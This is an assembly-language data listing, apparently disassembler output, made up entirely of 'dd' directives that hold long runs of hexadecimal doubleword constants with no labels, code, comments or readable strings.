		dd 0D400CAE4h, 0D7982B80h, 343BFh, 0E69775EFh, 24DD492Ch
		dd 23083Bh, 0CC4099C6h,	0AFF23Ch, 902E2B75h, 79CF5313h
		dd 0B9925100h, 0C605256Ah, 9FF41246h, 6EF0001Ch, 8768C4B1h
		dd 4D372B09h, 203F8FF9h, 2FEF40E5h, 6FC100E0h, 0CEAC1AE1h
		dd 0C03E63E3h, 0C9D3009Dh, 4C084D77h, 0E52C0065h, 0E1F53F69h
		dd 222A0293h, 98C0D8BAh, 132ED03Ch, 1A660FC0h, 0FB00776Fh
		dd 7112CF60h, 0B3E31406h, 68C740h, 5B860635h, 0CAD07E3Dh
		dd 1590F860h, 9A5DC2h, 6C1110C6h, 3E63BF37h, 0B503CBF8h
		dd 0A5B25ACh, 3DD8E62Ah, 0F6094128h, 1C2250D0h,	0F6C3B9A2h
		dd 0F7249FC0h, 3F34A3Ah, 54794723h, 69BE0Eh, 98AF7C9Bh
		dd 1E46098Bh, 8CF7441Dh, 806523CEh, 0A07D7B88h,	9CE73F98h
		dd 0DD29C000h, 85018FC7h, 28125D1Fh, 0C9F56040h, 7AED9A36h
		dd 9E8200F3h, 373A3CB2h, 790071E3h, 0AE15D11Ah,	3C7FD4ADh
		dd 0F400781Ch, 9AFBD66Fh, 1B001027h, 0D0C8D58Bh, 9D7A47h
		dd 0E307ACAEh, 25685CD9h, 50F2741Dh, 637E8100h,	49C1C46Bh
		dd 5E0094EEh, 0C9ECA856h, 0CF0085BAh, 8F93208Dh, 78328247h
		dd 2D56005Ah, 4FC519ADh, 8A1FE6CFh, 8E12B845h, 75C84C00h
		dd 0D146AFh, 0E6704B55h, 88BC563h, 650EE804h, 25C07E48h
		dd 50BC19h, 0F6C24EEBh,	8F617085h, 0DE6C6000h, 83DA0276h
		dd 7FF603h, 0F6780A3h, 5B75B4C3h, 87AA3800h, 45E29EC4h
		dd 0F0C749FCh, 0E11C7B48h, 9888C062h, 0F432149Bh, 0E64BBE00h
		dd 582849A1h, 15D2001Fh, 567BD706h, 0A903119Bh,	3821B3D3h
		dd 0D4F100BBh, 8F1DE6FFh, 0F626AAA8h, 29405C07h, 771A0BAh
		dd 305B704Fh, 1BE2D093h, 5E00E5FCh, 0B80E1942h,	64FFFEAh
		dd 9CBEAD73h, 6EEE2E2Bh, 9527E600h, 0AFA0AA2Ah,	1FCAE42Eh
		dd 808157C2h, 97C81A0Ch, 5C00E6F4h, 0BE086BB5h,	2B77493h
		dd 333D4C7Eh, 0E0605544h, 0CE008F9Eh, 861B226Fh, 34C4FFh
		dd 5A69F265h, 0FCDB2446h, 56E39D00h, 0D1C06E8h,	1B0F3032h
		dd 0EF288428h, 40666209h, 0C3E18044h, 605FB271h, 0BA07201Ch
		dd 0DC00311Ah, 41BE6AC0h, 0B5335Ch, 557FD6ABh, 0C2038EF6h
		dd 0AE89B800h, 481B8138h, 0C0423E71h, 97820280h, 69D6DA1Fh
		dd 90AC50C0h, 1536D7h, 5CFEEDADh, 13449377h, 0CC91713h
		dd 262200FFh, 70FC795Ah, 93F48B00h, 5F3B8CBBh, 66420167h
		dd 924C2E46h, 4BC824D3h, 3CA19E00h, 3ADF9409h, 0E76A00F4h
		dd 0E3340C7Ch, 54744EC3h, 8987DB00h, 0D5C95259h, 96200FFh
		dd 0CCB2730Ch, 0E4009F60h, 90D88E72h, 43AA3Fh, 0E99DFB3Eh
		dd 0DB2821A9h, 9601C17Dh, 42EF7BABh, 1C724374h,	0B2F426h
		dd 0FDDB7E7Dh, 0BCE2CF86h, 610B4098h, 0F0F2282h, 0A7261E6h
		dd 0C0201CAAh, 5C5A502Ch, 2C9F213h, 78DA7158h, 3C489FB3h
		dd 0DD003674h, 0B1D84638h, 0EE6A88D7h, 728107B3h, 43707B2h
		dd 9A8CD0B5h, 9300E4ECh, 9EBFF4BDh, 1D2A8FFAh, 0CB5EDA8Dh
		dd 3580E579h, 0A33A21D6h, 0ED7A3200h, 0A844FDA1h, 9D5200B6h
		dd 3BB60AFh, 0AE00EFE6h, 87387BF5h, 60D63081h, 0AC0118B1h
		dd 2E48F672h, 6F7100ECh, 0F2BADD05h, 8A1E007Ch,	0EA0650BFh
		dd 0F5009874h, 60D28955h, 4D8F4Bh, 2684F833h, 5CC8AEB1h
		dd 15C18B00h, 2AB52D0Ch, 66031D58h, 0DC984012h,	7D5419BFh
		dd 0FB8BA3Bh, 0E0E4281Dh
		dd 5E36FAD9h, 17CB01D0h, 513D395Ch, 0FCADECD1h,	0F39C9100h
		dd 3A09923h, 2E9D00C9h,	1C542CFEh, 86A0CCA7h, 0DB02E58Eh
		dd 0F91A43F0h, 0FF8D602Dh, 0AF0C008Fh, 0E4403638h, 54004406h
		dd 0CFF563D2h, 3DF32EA6h, 2B8028E0h, 497E7BBDh,	0FC01C4BCh
		dd 0B4EB2F01h, 5FE08C17h, 0A266000Bh, 0AFFAFFC9h, 6D01338Fh
		dd 0EE4C3B68h, 0BDC403C3h, 176FB08Eh, 1D98B6A5h, 0F6EF8000h
		dd 3B625E54h, 0C4236002h, 0C02976CAh, 7F2C9Ch, 0C8880295h
		dd 59B0B161h, 0BC60270Eh, 2229C28Dh, 816C7C4Ch,	0C3865BD5h
		dd 70DBC004h, 9C375700h, 0F39D4F61h, 337764h, 69E4D080h
		dd 25BC89D8h, 55B40E00h, 0A750D20h, 38410014h, 0F0D8CCCAh
		dd 0B1058481h, 0F239A2A8h, 6CF34FC0h, 0B82E010Dh, 45514DA5h
		dd 0EC468E3h, 816A71C9h, 0FDF9D076h, 888C24h, 0BBC516Eh
		dd 13B229B1h, 64E822E8h, 3C925618h, 16CB8B9h, 0A304D2D1h
		dd 0D024D8F9h, 7B00A13Fh, 84232D64h, 2B0D7Ah, 2A7F0A59h
		dd 29B9C5BAh, 218E140Ch, 505630CFh, 14672891h, 0A5354351h
		dd 4D80C000h, 0B427D1A3h, 80D5482Ch, 680D0F00h,	150ADFCh
		dd 4E511D69h, 2BC1B9AFh, 8F58DC41h, 71E4843Ch, 0E1903A65h
		dd 7D8A6909h, 3E69BC8Ch, 84982395h, 6A2805D1h, 0C0C4EFFEh
		dd 67551CDFh, 0ABE1C0FFh, 346DB3Fh, 0DA247D7Ah,	95E49041h
		dd 0A8CC002Ch, 28C14311h, 6007546h, 2C4FC27h, 0BD614DC3h
		dd 0B1E0E500h, 0A7079C71h, 0DCEFB80Fh, 90A99313h, 1CAA4AD5h
		dd 8263CD49h, 0F9CED6CAh, 465E145Ch, 0E68F000Eh, 70CC02D4h
		dd 809094D1h, 0D3BF845Ah, 0F9C432DAh, 654008D2h, 4E1300Ch
		dd 0AAAF1404h, 0F8A475FAh, 6FB300ACh, 184532C7h, 9A3AF6EEh
		dd 21DE00F0h, 20470DF3h, 0D881008Eh, 6EB10285h,	520B5C3Bh
		dd 59AAF9CCh, 1825D9BCh, 0A1530017h, 9C63264Fh,	3912EECAh
		dd 0F4A0A236h, 30D130D4h, 52AA6B31h, 2001905Eh,	6D57A92Ah
		dd 23782F6Bh, 0C51B1E5Ch, 0A8E28EB2h, 0BCCB975Ch, 0E0C126C8h
		dd 23F42877h, 5A55003Fh, 4290481Ah, 0A7952458h,	0B6C186BCh
		dd 0A0E2ABDFh, 3D8557D0h, 0E4FCA5EDh, 27BD6014h, 68F80424h
		dd 404B570Ch, 1B388325h, 0E16504DBh, 0AC598B50h, 286E5E80h
		dd 0B2F6A50Eh, 0D20B2941h, 8F44255h, 6B8AD410h,	86DC0CAh
		dd 26C136C0h, 62852EC4h, 875800AEh, 5C996406h, 0C86F6B25h
		dd 0CE6EE4h, 871A723Ah,	4134A61Ch, 13790300h, 0D636AF8Ch
		dd 120BC50h, 768EC42Bh,	4D10AD81h, 6691C06Ch, 7D3ADCF3h
		dd 6C205FA0h, 207503h, 4A79BF6Ah, 0D4B0CA3Dh, 3B2DA516h
		dd 0F8B738E3h, 0E888DAC3h, 4C92636h, 9285CF22h,	0BCAC84D7h
		dd 8B8E48h, 94B78F75h, 109502CFh, 0A87C0DC7h, 465E5454h
		dd 2E380064h, 6ADE7344h, 0EB300B2h, 847AB06Ch, 8A9F35CCh
		dd 467418F4h, 12EC012Bh, 0BB5AFCC0h, 5754492Fh,	36B5C402h
		dd 0E21CA4DEh, 593501C9h, 0E14462D0h, 8D842F00h, 85D1270Dh
		dd 0B0D7E8A5h, 5B160CF4h, 648E3A48h, 32C05CC8h,	5A96B01Bh
		dd 0FB6CC21Eh, 58A2E1DFh, 0AAC8302Bh, 80959842h, 0AE04E9Ch
		dd 49226C5Ah, 0A40488A0h, 9E2785C6h, 880F0085h,	0D2D1B9D1h
		dd 8A04C42Dh, 0AD101442h, 9E271060h, 0ADECA8A5h, 8CF30FEh
		dd 91B28307h, 0C680BF97h, 376067EAh, 1729AAD2h,	47403FC8h
		dd 0DA98CC9Ch, 474FB227h, 6021E454h, 1493495Ah,	0A0B5E492h
		dd 0F3D126C0h, 9100A5AAh, 66565C6Ch, 2F8479C4h,	0C897504Ah
		dd 0EE803F11h, 60478B5Eh, 8450FCF7h, 6883714Bh,	47A0E25Bh
		dd 615D447Ch, 58C4B169h, 149195C2h, 0CD79AF5Dh,	0A815C030h
		dd 443DF7B8h, 0FC508624h, 0E4A8A251h, 21835EBFh, 0FC395B1Ch
		dd 0E101A89Bh, 57197043h, 79F82FFDh, 6ED52CF6h,	3200DC3Ch
		dd 0F9912BECh, 0AF585B0h, 726A2AE9h, 50FD818Ch,	68C15EB6h
		dd 455A11DCh, 2D89301Dh, 0EAE4D4E5h, 0D88A8460h, 4082A52Dh
		dd 40D612Ch, 62905923h,	0F6749060h, 2412E26Bh, 78A649B2h
		dd 89713FE0h, 94290C14h, 0FE3110ACh, 0F61C135Fh, 0C954E0E0h
		dd 27BA0016h, 4AB88464h, 0FB8114CCh, 3B2A2831h,	62B23E8h
		dd 0A976056Bh, 0C82007EBh, 61A9CCB5h, 69FA1007h, 0A25833D1h
		dd 0B834305Bh, 0BA0DCCF9h, 4A90C304h, 60A832C4h, 85BCE491h
		dd 0E16E6A02h, 0F6E86288h, 0C2151CACh, 1D694E77h, 0DF7940F1h
		dd 781C4918h, 7C0B0A3Ch, 5ADCC84Ah, 290B62B8h, 4464530Ch
		dd 0F2BE5816h, 6A7C0C47h, 940E31EDh, 0EBC05F88h, 0F13790D6h
		dd 267BAC24h, 5E406F35h, 1B3A2C46h, 0FE9393h, 0CE73A5F4h
		dd 209D6ABFh, 0F70EE268h, 2AB90141h, 378C284Fh,	43BFE0B6h
		dd 601D5D00h, 6631B95h,	435B72Ch, 8717EA80h, 5AC690h, 31197784h
		dd 43D68834h, 923D28DDh, 8833B079h, 8A2EB925h, 4E04C47Ch
		dd 9A40DD4h, 190595Ah, 90C6CEFBh, 0B8982998h, 6C19047Ah
		dd 94278D90h, 0BC28F868h, 0CEE48C61h, 40E28D2Dh, 98CE144h
		dd 3296B1A3h, 561F50D0h, 2C8F74BFh, 599F0977h, 18DE791Ch
		dd 972F82Ch, 0B8C38085h, 0B6798468h, 9E9FE00h, 650D42CAh
		dd 0BBB7026Ch, 2C257C54h, 8F5990FBh, 0E01AD09Ch, 5AA5B002h
		dd 54D6ADB1h, 2F588850h, 60A18812h, 5E487EF2h, 26482D46h
		dd 0AA567400h, 72318791h, 0DCC2B801h, 0C76EA678h, 6DC4322Bh
		dd 79BCD929h, 76AB1816h, 2EF458EEh, 4114603h, 44E1FB79h
		dd 0E1D9D070h, 51967301h, 453A8334h, 0C8948E2Bh, 9005C0E2h
		dd 0CD009F25h, 41407E7Ah, 26BDD855h, 420CCA36h,	9D570E38h
		dd 805E9134h, 3887B203h, 17A7CADh, 0D6C25660h, 403777CBh
		dd 14586A84h, 0AE0A295h, 850644Fh, 0CDB28E46h, 4DC1B606h
		dd 0CFD41718h, 23A43F0Fh, 2F3002Ch, 0C2CE60ABh,	80CC6A4Ch
		dd 0C85C743h, 8888F9C5h, 1F854D57h, 36852E32h, 0CF239001h
		dd 84638EF7h, 76305DB2h, 0C7012870h, 61B907BCh,	0B4ADCE9Bh
		dd 9348F8C9h, 0E6241CB4h, 96C47D36h, 2D465C08h,	195AC913h
		dd 0D18ED018h, 0B1E828D0h, 0A1A5755Ah, 6F4BE046h, 2DEE8040h
		dd 71D2A8F6h, 38AD09DFh, 8C744EC8h, 30A67B40h, 8EE06D7h
		dd 19520C8Fh, 632ADD01h, 2EF04A8Ah, 8F10082Eh, 1346D4h
		dd 0BC9A3AF0h, 0E3D4A2BDh, 0C404602Dh, 0B8791A8Eh, 0D840884h
		dd 9D20CE0h, 153D8341h,	30318014h, 1D973AEDh, 9C4D972Ch
		dd 0B25D0B60h, 7D0A317Eh, 834C7570h, 3546B121h,	9612905Ch
		dd 245E4002h, 2E122C90h, 54D36EB5h, 1748E4EEh, 8C73CE80h
		dd 0BC9F97h, 70F8982Fh,	40B18ACBh, 2F09D3Ch, 3685C686h
		dd 0FA24A4BBh, 0C818CB52h, 0D246CC2Ch, 0AF504AFEh, 4E16E750h
		dd 84B089E4h, 0B5C190B2h, 0D0F69007h, 0CE510AF9h, 6467BCAAh
		dd 0D7606844h, 6F01D379h, 86B6655Bh, 0CE2E1736h, 0C9E2C8D8h
		dd 50BE0C07h, 0D5470880h, 78EFA104h, 0A8921286h, 1F545C7Fh
		dd 0DC642C07h, 0CA679A00h, 0D85788EDh, 1EE5A85h, 5A767CBCh
		dd 74407EB0h, 6473833Ch, 8458134Ch, 44A0E1C9h, 80BF16B0h
		dd 36B5D8B4h, 8840DC60h, 0B71A8442h, 0E402E489h, 0D4015179h
		dd 0D45736D7h, 0E4D672F0h, 500E6895h, 77620898h, 0B98AFB01h
		dd 0CBD0D496h, 0D1DD00C4h, 4A113544h, 4E3D7F5Ah, 50E28293h
		dd 0E8A175DCh, 0BD68248h, 0E198F38Eh, 5D70F47Bh, 0C4A70361h
		dd 0F00D521Dh, 626E9891h, 303FF2A8h, 6E000829h,	0F252F6E6h
		dd 23D1056h, 99FAC17h, 0C4A7D56Ah, 117FC0BEh, 0B3122191h
		dd 14CEEF5Ch
		dd 0F1C02C88h, 0A1839658h, 6E1202DCh, 0B8D1860h, 0A47EB680h
		dd 0A518C4B0h, 0E1A907B5h, 6A68BE80h, 0C199C0CFh, 563C141Ch
		dd 0B59D5802h, 7EA8CCF0h, 0C726DCECh, 2F40A86Ah, 0AD764FEh
		dd 68D5C042h, 0B3E30038h, 2754AEF7h, 0B182800h,	868EC3F0h
		dd 44B0DF4Fh, 8B04E9E4h, 51744C14h, 0DC48A910h,	0C41864F1h
		dd 7F94A100h, 7AC286ECh, 5B811C15h, 68E1339h, 70599620h
		dd 2FE49C51h, 42AA1842h, 94895F4Ch, 6B172011h, 1D00F47Bh
		dd 528666D7h, 58C072F0h, 4D22E2D0h, 0A47C535Ah,	0FADA3800h
		dd 0BB03AC1Eh, 0D9A50499h, 2E108280h, 84025782h, 739041B0h
		dd 608FABCDh, 0FC5212E4h, 8C5BE814h, 0C2D86501h, 0F68105E4h
		dd 24F820h, 0D9BCB010h,	3BBD2D83h, 0BE8B3700h, 7ADE4AE6h
		dd 0F7380BFCh, 780F63D6h, 87724281h, 11CC4768h,	9874E1BAh
		dd 23214508h, 5C873A6Ah, 0AFED7000h, 3BCD28A3h,	0BF3D6B06h
		dd 2862BBh, 0F5E5E15Ch,	7F37E219h, 24C9F400h, 0D5E7E8Bh
		dd 9846001Dh, 52BA09B7h, 8E067AE6h, 0BC55A461h,	0D4300A0h
		dd 0BF486272h, 4D1FF7D5h, 0CD806099h, 4A223923h, 1B8E05Eh
		dd 0C219588Ah, 806227C5h, 0A8695F18h, 29FD2EF8h, 0E6CFA38h
		dd 0D9E4876Fh, 204C6244h, 0F9876720h, 109F200h,	9338D315h
		dd 36720A2Bh, 1194BC5Fh, 27189F8h, 9174D9B2h, 22104628h
		dd 6A0E8769h, 56D9285h,	2486A15Dh, 998205B8h, 2C5BBA8h
		dd 0C9A7B568h, 0BAA0CC88h, 98453148h, 633E11BEh, 807A6E10h
		dd 0B01F019h, 9A0C0CC0h, 3109B85Eh, 0F87921C0h,	6449801h
		dd 0DF6E5132h, 0D8FB6142h, 9E038D74h, 0EDDD10C3h, 21C2008Ch
		dd 43F95BA9h, 69C6153Ah, 51427Ah, 0F5B4B82Ch, 3FBA5E72h
		dd 0F4A34DE0h, 7F44BC8h, 1FC5BC0Dh, 189FD019h, 0AB3C06E6h
		dd 3A0C4133h, 20376BD5h, 0F08150C5h, 0B068A470h, 0C00D1451h
		dd 308868FCh, 1F67B80h,	495BC6Ch, 2AC21526h, 33009004h
		dd 0D4A41EC6h, 6C02FD46h, 5CD96287h, 1D105031h,	36008764h
		dd 14D32DB0h, 27E42Bh, 2CC1F7BAh, 4CEFA4B5h, 4FDC6C07h
		dd 2FC0FCB9h, 0CE4E3F3h, 0E7A024EDh, 72001B18h,	39FC9A30h
		dd 1C4778h, 14BBA535h, 0F3F19B9Fh, 0A1D14300h, 78E5F656h
		dd 13E80077h, 0F7714BEAh, 6F097B8Dh, 855A60D1h,	12C03481h
		dd 3879CE4Ch, 939D6692h, 7BB700F9h, 25F69FD8h, 0DB9A6F0Eh
		dd 8A22C77h, 0B921C0DCh, 0D2A3F697h, 0B0436500h, 1A1F1B23h
		dd 90B11871h, 7410607Dh, 8430F860h, 37ECE16h, 483FB4C0h
		dd 41D0A862h, 0ED1C9032h, 0EBC457BBh, 0B2037BBAh, 6970F7F0h
		dd 8C2CFB0Ah, 8C3980F6h, 0E0D8893Bh, 0E03418E9h, 0F81518CEh
		dd 7E0F9818h, 0A25B71h,	0A4F45E27h, 0B4FCBB42h,	215F08CCh
		dd 27AA003Dh, 386EDCCh,	0D503A229h, 43F69040h, 3360BE01h
		dd 0B791B923h, 0A4091811h, 0B777911h, 626F17Bh,	611915Eh
		dd 904467A9h, 210598F8h, 3158E96Bh, 0CC08810h, 59B70EA3h
		dd 392000D7h, 0D40F3099h, 37663862h, 1219D08h, 1739287Ch
		dd 0D89A29BFh, 0F31CAC9h, 615F416Fh, 389E0674h,	7280842Ah
		dd 0FAE59635h, 0BE3110D5h, 9C0249BCh, 3369F042h, 6F20F6D0h
		dd 0E5227246h, 0F694B600h, 382CB521h, 0D323E7Eh, 0FAFD8E80h
		dd 688FF830h, 71081C90h, 48F2B325h, 960806E7h, 0F80A11F4h
		dd 0A47D2F6Bh, 0E0900243h, 0C067102Eh, 0BE5E4621h, 630FEDA1h
		dd 79E5F457h, 21805A08h, 24BE66A7h, 9800BF1Eh, 0E96C6189h
		dd 4934EDC9h, 0F0058C3Ch, 19D32573h, 182960D0h,	9EBE0861h
		dd 59C48BEDh, 0BE69A443h, 3199D1D0h, 7FFE3A48h,	2E1FC3ECh
		dd 0E8F18BC8h, 822E9EDh, 45631862h, 83EF6803h, 4678A62Bh
		dd 0BE60022Ch, 1C73ED9Fh, 0BE68A500h, 448E16F0h, 34D104B2h
		dd 8C6D6686h, 0D5002A9Ch, 633FB548h, 0A1F7EB8Bh, 0A44899E4h
		dd 80E87893h, 0AAE60CE9h, 0DA3E6E00h, 48D80780h, 1CF20A2Bh
		dd 80CC340Ah, 2E16B22h,	6406CE95h, 4AFBC8B8h, 1F26E2C8h
		dd 306F72BDh, 502CEDA1h, 2B0AB092h, 80A80D98h, 0E69ECB80h
		dd 0D78E57h, 0A680B834h, 2E258F67h, 976E9C01h, 0C86BAA2Bh
		dd 0A00EA0E4h, 648A1Ch,	1C5BB4F0h, 904B3AE9h, 833E6F79h
		dd 5FE59F57h, 8599713h,	58266CE8h, 6F1FF661h, 2258268Ah
		dd 91B330E0h, 506D3C20h, 5844CD4Ch, 30BC505Eh, 4B1BE813h
		dd 0C4087425h, 9081C9A8h, 2637309Eh, 5CAA22C4h,	821C9377h
		dd 0EFA901C6h, 32F70444h, 0A2FC433Ch, 32883053h, 0FDF29902h
		dd 674718D0h, 60A4C410h, 1C5D479Ah, 4EA78A53h, 9305DDF4h
		dd 0FF8C40F2h, 7985D710h, 0FB706005h, 8804A1F4h, 9D006DB3h
		dd 5BF001EFh, 5159D012h, 5A23A03Bh, 4508F200h, 79F2418h
		dd 35906004h, 12CB553Ch, 91261B94h, 95983980h, 30F4D04h
		dd 108DA5AEh, 0D0A1F06Fh, 0B84C8C07h, 82606271h, 145B3Ch
		dd 0AA38390Eh, 52982AE1h, 29B9D03h, 7A5CEBF8h, 0A5845CC8h
		dd 8567516h, 718FFA20h,	8C94CEF5h, 0C0101063h, 3899F819h
		dd 0F24EF90h, 65920CD2h, 0F6A03860h, 8C6F7D24h,	3BAE444h
		dd 0CF86F698h, 1D564B1h, 0EFC038E0h, 2890984Dh,	34E4ED71h
		dd 3AE07C3Bh, 1A323F0h,	81FDE90Eh, 0C961FA2Ch, 1500700Fh
		dd 765253Ch, 56AE895Bh,	11441DD9h, 707F815Fh, 3AD0E044h
		dd 967E0C5Dh, 0B06005EFh, 0B6C03502h, 0C87B16E5h, 6FFF6C8h
		dd 7371DE6Eh, 78C849BFh, 0BE62C02Ah, 8348ED9Dh,	6AA3E018h
		dd 47A500BEh, 0B6DFF283h, 1C5008E0h, 2E0292E0h,	3FC036A0h
		dd 82CC890Eh, 20473B20h, 0A331434Eh, 500DF0C2h,	0A9AC917Bh
		dd 39082618h, 701F309Fh, 39002E76h, 0BC6E98C2h,	0F414B2h
		dd 4D427A72h, 0BAABDD30h, 0FBD7312h, 7465880Ah,	6514676h
		dd 2E10CABAh, 5D1890C1h, 9E805494h, 84F46227h, 0A6390087h
		dd 0F2C1E627h, 844C6700h, 88D4C063h, 40E11335h,	0B7E40A93h
		dd 60AA6484h, 23A03925h, 0A9112730h, 392D750Fh,	0C1461AE4h
		dd 54F5498h, 6F8BAC81h,	68249832h, 0C79DC58Ch, 98AAF482h
		dd 908BE68Ch, 182F695h,	5E38C950h, 0E302FBFDh, 3480B1B9h
		dd 0EF2E99C8h, 5DE0421h, 68CD280h, 0B4C28030h, 0F606F449h
		dd 0CFE2ED76h, 3BCCFDD9h, 4C0D260h, 134890B0h, 9810D40Ah
		dd 0D21B7F40h, 79CD00F3h, 0B1AC9DC1h, 40B29E74h, 0BCE96F12h
		dd 0EB109480h, 46E0A4F9h, 279B0291h, 318CF465h,	0A3381063h
		dd 0A2E20027h, 1B9E28E3h, 2413EDA5h, 8C1DD130h,	2CEF9841h
		dd 9437C94Ch, 0E000493Dh, 98E61DA6h, 0AEF8481Ch, 324FC818h
		dd 67616D8h, 205CAB2h, 97469889h, 5F27A102h, 65319CF4h
		dd 27A93E10h, 8E3E55FCh, 31BA05B0h, 0A040A60Dh,	0A1EFB56h
		dd 85DB0395h, 8CA77F52h, 0DD31B4B8h, 0F265D20Eh, 14DFE4EDh
		dd 68C8688Bh, 409D64C2h, 8063E438h, 0EF0CC199h,	29793E06h
		dd 0B971152Dh, 6109C0DCh, 180439F6h, 0BED06728h, 8C93ED9Bh
		dd 1CA15E44h, 0BBD6BE6Ch, 0BB318600h, 760DD55Bh, 23C8B60Ah
		dd 771DA45Dh, 0D1CDF040h, 6492F88Bh, 602B68F4h,	77A0BE5Fh
		dd 60458CEDh, 0BE7E60h,	8C404647h, 1909C5E6h, 0B3080500h
		dd 0DF4F01C2h, 3C6B5871h, 760F9683h, 0A6D6E900h, 0A4E3F098h
		dd 1CE50329h, 6D110485h, 3BE62100h, 37FECA42h, 57410069h
		dd 8CF5F93Eh, 8E00669Dh, 309C224Eh, 76EFD45Fh, 2420E74Ch
		dd 6D431382h, 0FA9405D0h, 4DF88202h, 2CC1A807h,	2892D83Ch
		dd 422C0022h, 8CB3E75Eh
		dd 713E1902h, 11889923h, 89D1893h, 7CF46327h, 3A4067C4h
		dd 1BCB27A5h, 7B237801h, 0B3353B5Eh, 0C3858880h, 10E7ED1Ch
		dd 650088B2h, 8541DFCh,	19CAF5Ch, 6B20C9B2h, 2242814Ah
		dd 0E8862CD4h, 6F05F611h, 0D04EB4D1h, 38BBC8ECh, 77EF9780h
		dd 621026F6h, 85A61184h, 94093921h, 80B46507h, 0A2392979h
		dd 0E000177Fh, 96B7B105h, 0E109E5h, 9D0A845Ch, 69C4B96Fh
		dd 0A3CE78C2h, 44B8C7A0h, 0B4AE615Ah, 0FE89A9F4h, 980A0FB3h
		dd 0F5EA444Dh, 805614C8h, 4F232F16h, 0F998C4B8h, 0EEE6F13Eh
		dd 34359506h, 0A230E3D0h, 642CC70Ch, 123C60A0h,	86F305A7h
		dd 887472CBh, 0ACA0FE74h, 6825DA3h, 2EF994B8h, 1068A4BEh
		dd 0A42BD7B0h, 7900A323h, 9D753C83h, 10D202A8h,	7FC0D098h
		dd 0EBED38C8h, 146028A2h, 4C184F1Fh, 89F0E104h,	0B2620A37h
		dd 0A68C63F7h, 18ED7450h, 0FBE62429h, 59C900FFh, 0EF0FEBB1h
		dd 63820704h, 5887CC8Dh, 23260183h, 9B176A60h, 7A6FC305h
		dd 0EB53028h, 0F0BFF693h, 0BBB1BE00h, 751F8883h, 0FB004FD3h
		dd 68A22A0Dh, 0CB391891h, 0F9B2E873h, 17D1A7EDh, 96E191C4h
		dd 6F6BA000h, 0C8CC0Ah,	0BEBC21Fh, 380F1B56h, 0F7EFA8A8h
		dd 942E144Fh, 25006923h, 2CED13C5h, 0C4DB5060h,	20774E72h
		dd 0D3883C14h, 0EFD44182h, 63B20C63h, 135F4830h, 584E94Dh
		dd 0C2152C44h, 0C8789DC4h, 6F907B09h, 2DBC049Bh, 0A2BE5D60h
		dd 116BED23h, 65A80054h, 2D6A34BEh, 393B18F6h, 444750B9h
		dd 0B9D6EC31h, 0E028FD38h, 72C8E1E1h, 0BFC0082Ch, 0B0E0846Dh
		dd 8E8C8454h, 0CEA98838h, 0C7C0AC00h, 74B27CB9h, 81DC0C4Dh
		dd 0CF382CFBh, 0A8463438h, 0E0770E7h, 70900D88h, 0BA16A67h
		dd 7AC09877h, 16765C4Fh, 49A9589h, 0D59C44A4h, 9F288E2Ch
		dd 408001A3h, 0E0983217h, 2E266F89h, 1200A48Dh,	4CED385Ch
		dd 60CC6540h, 8000C184h, 0F8B20175h, 1865F032h,	2EAC4118h
		dd 683687C8h, 0ACB90B34h, 7AC8A673h, 63EE0179h,	0B8596C1Ah
		dd 88C44E56h, 95C1C0A3h, 0C48BA52h, 558701B6h, 43BBF030h
		dd 0B1F97887h, 41001868h, 0B7FDCF6Dh, 993B144Eh, 4C58D4B5h
		dd 18C59E8h, 3A16375Ah,	0D8C09ACAh, 107D4875h, 0B0FCD9C0h
		dd 0AE36CDh, 0B33EA48Ch, 0DC0F329Ah, 0C226E87Fh, 467414AAh
		dd 0FF5E00E4h, 0FD837E0Ch, 1F72FAFAh, 5662FC3Dh, 7B683A37h
		dd 525748Ch, 0C7D4946Fh, 28FCA150h, 8C53F898h, 49F15600h
		dd 309BA9F2h, 44BF2FE0h, 0A700503Dh, 2F514B1Eh,	0F42806DDh
		dd 715510BFh, 0D0D94F07h, 0B4500BE1h, 389EE98h,	94E9DD40h
		dd 10D99E6Ah, 0B8C85078h, 993ED42Eh, 3CE904B4h,	948FCDBCh
		dd 3BC26788h, 9ECC9193h, 0EA66960h, 53190DADh, 240BC0DFh
		dd 27714608h, 0F2476001h, 109BFFA1h, 2FB2440h, 5C2E00A8h
		dd 0EECBEFF5h, 9709025h, 84DC400Fh, 3F8164ABh, 0AF0DF581h
		dd 0E528C069h, 0B9920FB8h, 803FAE41h, 0B62E86C5h, 98009EA7h
		dd 90BCA81Ch, 0B09C45CFh, 0E543120Dh, 0CB7425ACh, 63DE08h
		dd 5BE21CB5h, 7377F437h, 0E028BA51h, 80E9BD63h,	0B1388410h
		dd 0C334B978h, 79D1F23Eh, 0BAC022h, 9908AFDAh, 0E6AA58A9h
		dd 9EECF113h, 0AF31CA0h, 0C4AC4CEFh, 5B8C3ACCh,	0D658BD11h
		dd 91711030h, 7AA64D44h, 0F4DB00B6h, 899F86B1h,	0FB06FCCEh
		dd 68832E95h, 2FA27588h, 68068D6Eh, 0F4A7F807h,	0CA605F44h
		dd 5B0F58DEh, 0CE4051EFh, 0D1ABACEDh, 99726010h, 26EE89ADh
		dd 0CD00D67Eh, 637CA5E1h, 991CE83h, 17E80262h, 0EF96FC60h
		dd 0D8B4FF72h, 64A465C9h, 0FB366052h, 0E4C005E6h, 813FDD33h
		dd 61B468h, 0CCEF1C10h,	7BA19398h, 14E59B01h, 0B94C04DBh
		dd 0E8A70423h, 345854C0h, 0FFFD00D9h, 0F6997E64h, 4C253705h
		dd 0FC5C8218h, 0BB16103Bh, 896BB0CBh, 3B40E82Ah, 0F44892D9h
		dd 18C4A24h, 777840Ch, 4C28B8h,	0D32DFC99h, 3C217667h
		dd 18EA3C6Bh, 64467660h, 0D2075E4Ch, 5F0D476Ah,	3B22FDEEh
		dd 0C08B05B1h, 99F7E002h, 6418E51Ah, 0D94260DCh, 3664004Bh
		dd 28399D7Ah, 0F9000C77h, 0B24EC475h, 2D0D07CAh, 249D7B55h
		dd 0C483AB91h, 0D97A6B10h, 99005DFCh, 0CCA41E65h, 5968BDFh
		dd 6DB18DA9h, 0E0BCC6A1h, 65EB809Eh, 6054640Ch,	0B8CC6833h
		dd 0C43C09E8h, 0DC47B194h, 7067DFC4h, 0BFF5347Dh, 3D23F304h
		dd 48820AC8h, 0F1B0D17Bh, 97186Ah, 3E4D0A0h, 9EF55BF0h
		dd 0E373090h, 62E059ACh, 0EA044F1Fh, 996A3998h,	9B00073Dh
		dd 33A70C87h, 0EE791078h, 0FBD9FC01h, 8FFD8201h, 54F2A862h
		dd 18602230h, 0F9EB941Dh, 153F349Dh, 0AC0804Ch,	0F8DF4782h
		dd 6F050E87h, 0EF26C44h, 1FA01980h, 6BF4BE0Ah, 38B63B7Bh
